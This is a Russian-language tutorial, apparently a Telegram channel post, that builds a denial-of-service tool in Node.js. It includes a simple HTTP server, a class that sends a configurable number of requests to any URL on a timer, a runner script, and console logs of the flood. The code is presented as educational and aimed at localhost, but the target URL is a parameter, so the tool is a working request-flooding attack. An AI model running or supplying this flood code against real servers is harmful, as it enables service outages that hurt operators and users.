DoS Атака на Node.js

DoS Атака на Node.js

t.me/we_use_js

DoS атака - это всего лишь большое количество запросов на сервер.

DDoS (Distributed Denial Of Service) - распределённая атака, то есть когда много устройств атакуют один сервер.

Мы будем реализовывать первый вариант, атакуя localhost.

Данная статья не пропагандирует создание вредоносного ПО, а написана лишь в образовательных целях.

Я использовал Node 11.10.1 и Request 2.88.

Сервер

Здесь мы не будем заморачиваться, возьмём встроенный http модуль:

const { createServer } = require('http')

createServer((req, res) => res.end('Hello World!')).listen(80)

Написание инструмента

Т.к. на дворе 2019, мы опишем нашу тулзу как класс. Чтобы не заморачиваться с http.get, мы возьмём библиотеку request для более простого написания кода.

const request = require('request'), { log } = console

module.exports = class {
...

Для удобства далее мы будем производить атаку через отдельный файл, поэтому я прописываю экспорт. Если вам не хочется создавать отдельный файл, тогда именуйте класс и пользуйтесь им внутри файла.

Далее в конструктор мы добавим свойства this.success и this.errors для отображения числа успешных и ошибочных запросов.

...
    constructor () {
        this.errors = 0
        this.success = 0
    }
...

Теперь самое интересное - метод run, который как раз производит атаку. run() будет работать таким образом: установка интервала (лучше всего 1 с, за меньше время запрос не успевает доходить), затем каждые несколько секунд у нас создаётся много запросов обычным for... циклом. Если выставить слишком маленький интервал, то запросы не успеют отправиться на сервер.

...
run(url = 'http://localhost', amount = 1000, interval = 1000) {
        setInterval(() => {
            for (let i = 0; i < amount; i++) {
                request(url, err =>  err ? this.errors++ : this.success++)
            }
            log(`Errors: ${this.errors} Success: ${this.success}`)
            this.errors = this.success = 0
        }, interval)
    }
}

Запуск DoS атаки

Остались две последние вещи - заюзать наш только что написанный класс, и запустить сервер.

const ddos = require('./ddos'), a = new ddos()

a.run()
// или a.run('http://localhost', 200, 500)

После запуска не будет никаких ответов на запрос, так как запрос не успевает выполниться, далее полезут ошибки:

Errors: 0 Success: 0
Errors: 0 Success: 0
Errors: 0 Success: 0
Errors: 255 Success: 0
Errors: 1663 Success: 0
Errors: 2046 Success: 0
Errors: 3068 Success: 0
Errors: 5114 Success: 0
Errors: 6009 Success: 0
Errors: 7032 Success: 0
Errors: 8054 Success: 0
Errors: 9768 Success: 0

Ведь мы забыли запустить сервер! После запуска число ошибок должно опуститься до нуля.

Errors: 0 Success: 1725
Errors: 0 Success: 1423
Errors: 0 Success: 577
Errors: 0 Success: 1981
Errors: 0 Success: 1385

В зависимости от интервала и количества запросов за данный интервал сервер рано или поздно рухнет и будет при заходе на сервер через браузер выведено что-то вроде 'Website port is unavailable, port is busy'.

Вот так просто мы задудосили локальный сервер со стороны другого сервера. Также можно DoSить на стороне клиента.

Report Page